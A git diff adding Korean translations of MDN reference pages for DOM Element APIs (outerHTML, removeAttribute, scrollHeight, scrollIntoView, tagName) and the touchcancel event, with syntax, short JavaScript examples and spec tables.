+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#insertadjacenthtml()', 'Element.insertAdjacentHTML()')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.Element.insertAdjacentHTML")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.appendChild()")}} ((position)beforeend 와 같은 효과를 갖는다.)</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post</a><span class="external"> by Henri Sivonen including benchmark showing that insertAdjacentHTML can be way faster in some cases.</span></li>
+</ul>
diff --git a/files/ko/web/api/element/outerhtml/index.html b/files/ko/web/api/element/outerhtml/index.html
new file mode 100644
index 0000000000..28952f5d69
--- /dev/null
+++ b/files/ko/web/api/element/outerhtml/index.html
@@ -0,0 +1,119 @@
+---
+title: Element.outerHTML
+slug: Web/API/Element/outerHTML
+tags:
+  - API
+  - DOM
+  - DOM Parsing
+  - Element
+  - Parsing
+  - Property
+  - Reference
+  - Serializing
+translation_of: Web/API/Element/outerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>outerHTML</code> 속성은 요소(element)의 자식 요소를 포함하여 요소를 나타내는 직렬화된 HTML 파편을 가져옵니다. 또한 주어진 문자열에서 파싱한 노드로 요소를 대체할 수 있습니다.</p>
+
+<p>요소의 내용만을 HTML 형태로 가져오거나 설정하기 위해서는 {{domxref("Element.innerHTML", "innerHTML")}} 속성을 대신 사용하십시오.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="eval"><em>var content</em> = <em>element</em>.outerHTML;
+
+<em>element</em>.outerHTML = <em>htmlString</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>outerHTML</code>로 값을 읽어올 때는 요소와 요소의 자식 요소가 직렬화된 HTML이 포함된 {{domxref("DOMString")}}을 반환합니다. <code>outerHTML</code>로 값을 설정할 때는 요소와 요소의 모든 자식 요소를 <code>htmlString</code> 형태로 파싱된 새로운 DOM 트리 구조로 대체합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>유효하지 않은 HTML 문자열을 사용해 <code>outerHTML</code>을 설정하도록 시도할 경우 <code>SyntaxError</code> 예외가 발생합니다. </dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>{{domxref("Document.documentElement")}}와 같이 {{domxref("Document")}}의 바로 아래 자식 요소에 <code>outerHTML</code>을 설정하도록 시도할 경우 <code>NoModificationAllowedError</code> 예외가 발생합니다.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<p>다음은 요소의 <code>outerHTML</code> 속성을 가져오는 예시입니다.</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;
+
+d = document.getElementById("d");
+console.log(d.outerHTML);
+
+// '&lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;'
+// 위 문자열이 콘솔창에 출력됩니다.
+</pre>
+
+<p>다음은 <code>outerHTML</code> 속성으로 노드를 대체하는 예시입니다.</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="container"&gt;&lt;div id="d"&gt;This is a div.&lt;/div&gt;&lt;/div&gt;
+
+container = document.getElementById("container");
+d = document.getElementById("d");
+console.log(container.firstChild.nodeName); // "DIV"를 출력합니다.
+
+d.outerHTML = "&lt;p&gt;This paragraph replaced the original div.&lt;/p&gt;";
+console.log(container.firstChild.nodeName); // "P"를 출력합니다.
+
+// #d의 div 요소가 문서 트리에서 제거되고,
+// 새 p 요소로 대체되었습니다.
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>부모 요소가 없는 요소에 <code>outerHTML</code> 속성을 설정하려고 하면 변경되지 않습니다. 많은 브라우저는 예외를 발생시킵니다. 아래는 예시입니다.</p>
+
+<pre class="brush: js">var div = document.createElement("div");
+div.outerHTML = "&lt;div class=\"test\"&gt;test&lt;/div&gt;";
+// 많은 브라우저에서 DOMException 예외를 발생시킵니다.
+console.log(div.outerHTML); // 결과: "&lt;div&gt;&lt;/div&gt;"</pre>
+
+<p>또한, 문서 내의 요소가 변경되더라도 변수의 <code>outerHTML</code> 속성은 원본 요소를 계속 참조합니다.</p>
+
+<pre class="brush: js">var p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName); // "P"를 출력합니다.
+p.outerHTML = "&lt;div&gt;This div replaced a paragraph.&lt;/div&gt;";
+console.log(p.nodeName); // 여전히 "P"를 출력합니다.
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.outerHTML")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>DOM 트리를 XML이나 HTML으로 직렬화하는 {{domxref("XMLSerializer")}}</li>
+ <li>XML이나 HTML을 파싱하여 DOM 트리로 변환하는 {{domxref("DOMParser")}}</li>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/removeattribute/index.html b/files/ko/web/api/element/removeattribute/index.html
new file mode 100644
index 0000000000..d31f6ded75
--- /dev/null
+++ b/files/ko/web/api/element/removeattribute/index.html
@@ -0,0 +1,66 @@
+---
+title: Element.removeAttribute()
+slug: Web/API/Element/removeAttribute
+tags:
+  - API
+  - DOM
+  - Element
+  - Method
+  - Reference
+translation_of: Web/API/Element/removeAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><code><strong>Element.removeAttribute()</strong></code> 메서드는 요소에서 주어진 이름의 특성을 제거합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>element</em>.removeAttribute(<em>attrName</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>attrName</code></dt>
+ <dd>요소에서 제거할 특성 이름을 지정하는 {{domxref("DOMString")}}. 지정하지 않으면 오류 없이 아무 동작도 하지 않습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>많은 특성은 {{jsxref("null")}}을 대입했을 때 예상치 못한 동작을 하곤 합니다. 그러므로 특성을 삭제할 때 <code>null</code>을 직접 대입하거나, {{domxref("Element.setAttribute", "setAttribute()")}}의 매개변수로 제공하기보단 <code>removeAttribute()</code> 메서드를 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Given: &lt;div id="div1" align="left" width="200px"&gt;
+document.getElementById("div1").removeAttribute("align");
+// Now: &lt;div id="div1" width="200px"&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-removeattribute', 'Element" removeAttribute')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.removeAttribute")}}</p>
diff --git a/files/ko/web/api/element/scrollheight/index.html b/files/ko/web/api/element/scrollheight/index.html
new file mode 100644
index 0000000000..32b5f72eb1
--- /dev/null
+++ b/files/ko/web/api/element/scrollheight/index.html
@@ -0,0 +1,168 @@
+---
+title: Element.scrollHeight
+slug: Web/API/Element/scrollHeight
+tags:
+  - API
+  - Element
+  - Property
+  - Reference
+translation_of: Web/API/Element/scrollHeight
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>Element.scrollHeight</code></strong> 읽기 전용 속성은 요소 콘텐츠의 총 높이를 나타내며, 바깥으로 넘쳐서 보이지 않는 콘텐츠도 포함합니다.</p>
+
+<p><code>scrollHeight</code> 값은 수직 스크롤바를 사용하지 않고 요소의 콘텐츠를 모두 나타낼 때 필요한 최소 높이의 값과 동일합니다. 높이 측정은 {{domxref("Element.clientHeight", "clientHeight")}}와 동일한 방법을 사용하여 요소의 안쪽 여백은 포함하고, 테두리와 바깥 여백, (존재하는 경우) 수평 스크롤바의 높이는 포함하지 않습니다. 또한 {{cssxref("::before")}}, {{cssxref("::after")}} 등 의사 요소의 높이도 결과에 포함합니다. 요소의 콘텐츠를 수직 스크롤바 없이 모두 보일 수 있는 경우의 <code>scrollHeight</code>는 <code>clientHeight</code>와 동일합니다.</p>
+
+<div class="note">
+<p><code>scrollHeight</code>의 반환 값은 정수로 반올림됩니다. 소수점을 포함한 값이 필요한 경우 {{domxref("Element.getBoundingClientRect()")}}를 사용하세요.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">구문</h2>
+
+<pre class="eval notranslate">var <em>intElemScrollHeight</em> = <em>element</em>.scrollHeight;
+</pre>
+
+<p><em>intElemScrollHeight</em>은 요소 <code>scrollHeight</code>의 픽셀 값을 저장하는 정수형 변수입니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong>Left</strong> <strong>Top</strong> <strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollHeight.png" class="internal" src="/@api/deki/files/840/=ScrollHeight.png"></p>
+
+<h2 id="문제와_해결책">문제와 해결책</h2>
+
+<h3 id="요소를_끝까지_스크롤했는지_판별하기">요소를 끝까지 스크롤했는지 판별하기</h3>
+
+<p>다음 등식이 참인 경우 요소를 끝까지 스크롤한 것입니다.</p>
+
+<pre class="brush: js notranslate">element.scrollHeight - element.scrollTop === element.clientHeight</pre>
+
+<p>컨테이너가 스크롤 대신 오버플로된 자식을 노출하는 경우, 다음 검사로 컨테이너가 스크롤 가능한지 알아볼 수 있습니다.</p>
+
+<pre class="brush: js notranslate">window.getComputedStyle(element).overflowY === 'visible'
+window.getComputedStyle(element).overflowY !== 'hidden'</pre>
+
+<h2 id="scrollHeight_Demo" name="scrollHeight_Demo">예제</h2>
+
+<p><code><a href="/en-US/docs/DOM/element.onscroll" title="en-US/docs/DOM/element.onscroll">onscroll</a></code>이벤트를 함께 사용하여, 내용을 다 읽었는지 확인할 수 있습니다. (<code><a href="/en-US/docs/DOM/element.scrollTop" title="en-US/docs/DOM/element.scrollTop">element.scrollTop</a></code> 과 <code><a href="/en-US/docs/DOM/element.clientHeight" title="en-US/docs/DOM/element.clientHeight">element.clientHeight</a></code> 를 참조하세요).</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;form name="registration"&gt;
+  &lt;p&gt;
+    &lt;textarea id="rules"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna.
+Aliquam erat volutpat. Praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus
+neque dui nec risus. Duis tincidunt lobortis purus eu aliquet. Quisque in dignissim magna. Aenean ac lorem at
+velit ultrices consequat. Nulla luctus nisi ut libero cursus ultrices. Pellentesque nec dignissim enim. Phasellus
+ut quam lacus, sed ultricies diam. Vestibulum convallis rutrum dolor, sit amet egestas velit scelerisque id.
+Proin non dignissim nisl. Sed mi odio, ullamcorper eget mattis id, malesuada vitae libero. Integer dolor lorem,
+mattis sed dapibus a, faucibus id metus. Duis iaculis dictum pulvinar. In nisi nibh, dapibus ac blandit at, porta
+at arcu. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent
+dictum ipsum aliquet erat eleifend sit amet sollicitudin felis tempus. Aliquam congue cursus venenatis. Maecenas
+luctus pellentesque placerat. Mauris nisl odio, condimentum sed fringilla a, consectetur id ligula. Praesent sem
+sem, aliquet non faucibus vitae, iaculis nec elit. Nullam volutpat, lectus et blandit bibendum, nulla lorem congue
+turpis, ac pretium tortor sem ut nibh. Donec vel mi in ligula hendrerit sagittis. Donec faucibus viverra fermentum.
+Fusce in arcu arcu. Nullam at dignissim massa. Cras nibh est, pretium sit amet faucibus eget, sollicitudin in
+ligula. Vivamus vitae urna mauris, eget euismod nunc. Aenean semper gravida enim non feugiat. In hac habitasse
+platea dictumst. Cras eleifend nisl volutpat ante condimentum convallis. Donec varius dolor malesuada erat
+consequat congue. Donec eu lacus ut sapien venenatis tincidunt. Quisque sit amet tellus et enim bibendum varius et
+a orci. Donec aliquet volutpat scelerisque. Proin et tortor dolor. Ut aliquet, dolor a mattis sodales, odio diam
+pulvinar sem, egestas pretium magna eros vitae felis. Nam vitae magna lectus, et ornare elit. Morbi feugiat, ipsum
+ac mattis congue, quam neque mollis tortor, nec mollis nisl dolor a tortor. Maecenas varius est sit amet elit
+interdum quis placerat metus posuere. Duis malesuada justo a diam vestibulum vel aliquam nisi ornare. Integer
+laoreet nisi a odio ornare non congue turpis eleifend. Cum sociis natoque penatibus et magnis dis parturient montes,
+nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci fermentum.
+    &lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;input type="checkbox" name="accept" id="agree" /&gt;
+    &lt;label for="agree"&gt;동의합니다&lt;/label&gt;
+    &lt;input type="submit" id="nextstep" value="다음" /&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function checkReading () {
+  if (checkReading.read) {
+    return;
+  }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "감사합니다" : "다음 내용을 확인해주십시오";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}</pre>
+
+<p>{{ EmbedLiveSample('scrollHeight_Demo', '640', '400') }}</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollheight", "Element.scrollHeight")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Supported" name="Supported">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.scrollHeight")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.offsetHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/ko/web/api/element/scrollintoview/index.html b/files/ko/web/api/element/scrollintoview/index.html
new file mode 100644
index 0000000000..1736aa2e40
--- /dev/null
+++ b/files/ko/web/api/element/scrollintoview/index.html
@@ -0,0 +1,88 @@
+---
+title: element.scrollIntoView
+slug: Web/API/Element/scrollIntoView
+translation_of: Web/API/Element/scrollIntoView
+---
+<div>
+<p>{{APIRef("DOM")}}</p>
+
+
+
+<p>{{domxref("Element")}} 인터페이스의 <strong><code>scrollIntoView()</code></strong> 메소드는 <code>scrollIntoView()</code>가 호출 된 요소가 사용자에게 표시되도록 요소의 상위 컨테이너를 스크롤합니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre><em>element</em>.scrollIntoView();
+<em>element</em>.scrollIntoView(<var>alignToTop</var>); // Boolean parameter
+<em>element</em>.scrollIntoView(<var>scrollIntoViewOptions</var>); // Object parameter</pre>
+
+<dl>
+ <dt>
+ <h3 id="Parameters">Parameters</h3>
+ </dt>
+ <dt><code>alignToTop</code> {{optional_inline}}</dt>
+ <dd>{{jsxref("Boolean")}} 값:
+ <ul>
+  <li><code>true</code>일때, the top of the element will be aligned to the top of the visible area of the scrollable ancestor. Corresponds to <code>scrollIntoViewOptions: {block: "start", inline: "nearest"}</code>. This is the default value.</li>
+  <li><code>false</code>일때, the bottom of the element will be aligned to the bottom of the visible area of the scrollable ancestor. Corresponds to <code>scrollIntoViewOptions: {block: "end", inline: "nearest"}</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>scrollIntoViewOptions</code> {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>다음의 프로퍼티를 가지는 객체</dd>
+ <dd>
+ <dl>
+  <dt><code>behavior</code> {{optional_inline}}</dt>
+  <dd>전환에니메이션을 정의.<br>
+  <code>"auto"</code>, <code>"smooth"</code>중 하나 선택. 기본값은 <code>"auto"</code>.</dd>
+  <dt><code>block</code> {{optional_inline}}</dt>
+  <dd>수직 정렬을 정의<br>
+  <code>"start"</code>, <code>"center"</code>, <code>"end"</code>, <code>"nearest"</code>중 하나 선택. 기본값은 <code>"start"</code>.</dd>
+  <dt><code>inline</code> {{optional_inline}}</dt>
+  <dd>수평 정렬을 정함<br>
+  One of <code>"start"</code>, <code>"center"</code>, <code>"end"</code>, <code>"nearest"</code>중 하나 선택. 기본값은 <code>"nearest"</code>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre><code>var element = document.getElementById("box");
+
+element.scrollIntoView();
+element.scrollIntoView(false);
+element.scrollIntoView({block: "end"});
+element.scrollIntoView({behavior: "smooth", block: "end", inline: "nearest"});</code></pre>
+
+<h2 id="Notes">Notes</h2>
+
+
+
+<p>다른 요소의 레이아웃에 따라 위쪽 또는 아래쪽으로 완전히 스크롤되지 않을 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Element.scrollIntoView")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollIntoViewIfNeeded()")}}<a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollIntoViewIfNeeded"> </a>{{non-standard_inline}}<a class="external" href="http://dev.w3.org/csswg/cssom-view/#dom-element-scrollintoview" title="http://dev.w3.org/csswg/cssom-view/#dom-element-scrollintoview"> </a></li>
+</ul>
diff --git a/files/ko/web/api/element/tagname/index.html b/files/ko/web/api/element/tagname/index.html
new file mode 100644
index 0000000000..ecbbc3a405
--- /dev/null
+++ b/files/ko/web/api/element/tagname/index.html
@@ -0,0 +1,62 @@
+---
+title: Element.tagName
+slug: Web/API/Element/tagName
+translation_of: Web/API/Element/tagName
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Element")}} 인터페이스의 <strong><code>tagName</code></strong> 읽기 전용 속성은 요소에 호출된 태그 명을 가져온다.</span> 예를 들면, 만약 {{HTMLElement("img")}} 요소일 경우, 해당 요소의 <code>tagName</code> 속성의 내용은 <code>"IMG"</code> 가 된다 (XML/XHTML 및 HTML 문서에서 대소문자가 다르게 나올 수 있다).</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>elementName</em> = <em>Element</em>.tagName;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>태그 명이 명시된 문자열을 가져온다, 이 때, 아래 경우에 따라 대소문자가 달라질 수 있다.</p>
+
+<ul>
+ <li>HTML 문서에 설계된 DOM 구조에서 가져온 요소는 항시 대소문자로만 이루어진 값을 가져오게 된다.예를 들면, {{HTMLElement("div")}} 객체로 생성한 요소의 <code>tagName</code>  값은 <code>"DIV"</code>가 된다.</li>
+ <li>XML 문서에 설계된 요소 구조의 경우 문서에 작성된 태그 명을 그대로 가져오게 된다. <code>"&lt;SomeTag&gt;"</code> 이라는 명칭으로 태그를 작성하였을 경우, <code>tagName</code> 속성 값은 <code>"SomeTag"</code>이 된다.</li>
+</ul>
+
+<p>{{domxref("Element")}} 객체에서 사용하는 <code>tagName</code> 속성의 값은 {{domxref("Node")}} 객체의 {{domxref("Node.nodeName", "nodeName")}} 속성과 동일한 값을 가져온다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span id="born"&gt;내가 어렸을 적...&lt;/span&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var span = document.getElementById("born");
+console.log(span.tagName);
+</pre>
+
+<p>XHTML (또는 여느 XML 방식) 문서의 경우, 정의한 태그 명 그대로 가져오기 때문에, <code>"span"</code>  같은 소문자 태그명을 가져오게 될 것이다.그에 반해 HTML 문서에서는, 원본 문서에 정의된 태그명과 달리 대소문자를 무시하면서 대문자로만 이루어진 <code>"SPAN"</code> 값을 가져오게 된다.</p>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-tagname', 'Element: tagName')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.tagName")}}</p>
diff --git a/files/ko/web/api/element/touchcancel_event/index.html b/files/ko/web/api/element/touchcancel_event/index.html
new file mode 100644
index 0000000000..e5b198282b
--- /dev/null
+++ b/files/ko/web/api/element/touchcancel_event/index.html
@@ -0,0 +1,116 @@
+---
+title: touchcancel
+slug: Web/API/Element/touchcancel_event
+translation_of: Web/API/Element/touchcancel_event
+---
+<p><code style="font-size: 14px; line-height: inherit;">touchcancel</code><span style="line-height: inherit;"> 이벤트는  터치포인트가 현재 구현된 방식안에서 방해 받을때 ( 예를들어 너무 많은 터치 포인트)  발생한다.</span></p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/touch-events/#the-touchcancel-event">Touch Events</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">TouchEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>DOMString</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>WindowProxy</td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td>long (float)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>touches</code> {{readonlyInline}}</td>
+   <td>TouchList</td>
+   <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact currently touching the surface.</td>
+  </tr>
+  <tr>
+   <td><code>targetTouches</code> {{readonlyInline}}</td>
+   <td>TouchList</td>
+   <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact that is touching the surface and started on the element that is the target of the current event.</td>
+  </tr>
+  <tr>
+   <td><code>changedTouches</code> {{readonlyInline}}</td>
+   <td>TouchList</td>
+   <td>A list of <a href="/en-US/docs/DOM/Touch"><code>Touch</code></a>es for every point of contact which contributed to the event.<br>
+    For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p>해당 이벤트의 샘플코드는 <a href="/en-US/docs/DOM/Touch_events" style="line-height: inherit;">Touch events</a> 에서 확인할 수 있다.</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("touchstart")}}</li>
+ <li>{{event("touchend")}}</li>
+ <li>{{event("touchmove")}}</li>
+ <li>{{event("touchcancel")}}</li>
+</ul>
diff --git a/files/ko/web/api/encoding_api/index.html b/files/ko/web/api/encoding_api/index.html
new file mode 100644
index 0000000000..04581b999a
--- /dev/null
